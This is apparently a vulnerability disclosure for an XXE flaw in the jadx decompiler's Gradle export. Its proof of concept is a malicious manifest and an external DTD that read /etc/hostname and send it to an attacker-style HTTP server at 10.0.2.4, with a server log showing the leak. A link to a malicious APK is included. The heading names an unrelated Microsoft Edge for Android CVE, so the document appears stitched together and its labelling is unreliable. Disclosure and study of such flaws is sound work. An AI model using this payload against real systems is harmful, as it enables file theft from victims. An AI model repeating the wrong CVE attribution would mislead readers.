CVE-2022-23258: Microsoft Edge for Android Spoofing Vulnerability

Improper Restriction of XML External Entity Reference in GitHub repository skylot/jadx prior to 1.3.2.

**Description**

parseXml() function in ExportGradleProject is not secured against XXE because it does not include the disallow-doctype-decl attribute, therefore JADX is vulnerable to XXE when parsing a malicious Android Manifest when exporting Android app to Gradle. In

https://github.com/skylot/jadx/blob/f9bf27579e3ad5f89239ea9f571e8b50739e8920/jadx-core/src/main/java/jadx/core/export/ExportGradleProject.java#L142L147

    DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
    Document document = builder.parse(new InputSource(new StringReader(xmlContent)));
    

DocumentBuilderFactory does not have disallow-doctype-decl attribute set to true, leaving it vulnerable to XXE.

**Proof Of Concept**

1: Build an android app with the following AndroidManifest.xml stored. You can use my built APK with a malicious AndroidManifest.xml file https://drive.google.com/file/d/1D4QBk-YJH8xadGv1vpz9rBTDN9X43pUC/view?usp=sharing in order to test this.

    <?xml version="1.0" encoding="utf-8" standalone="no"?>
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1/malicious.dtd"> %xxe;]>
    ... [---malicious APK continued here---]
    

2: Open a new terminal and place in a file name malicious.dtd

    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.0.2.4/?x=%file;'>">
    %eval;
    %exfiltrate;
    

3: In the same terminal as step 2, open a HTTP server (which mimics an attacker server) and leave it running

    ➜  ~ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
    

4: Now, export the APK to Gradle

    jadx -e /path/to/malicious/apkfile.apk
    

5: The HTTP server (which mimics an attacker server will receive the contents of victim /etc/hostname

    ➜  ~ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    10.0.2.4 - - [12/Jan/2022 14:36:41] "GET /malicious.dtd HTTP/1.1" 200 -
    10.0.2.4 - - [12/Jan/2022 14:36:41] "GET /?x=testserver HTTP/1.1" 200 -
    

**Impact**

This vulnerability is capable of XXE (info disclosure) when users are tricked into exporting a malicious Android App with a crafted AndroidManifest file to Gradle.
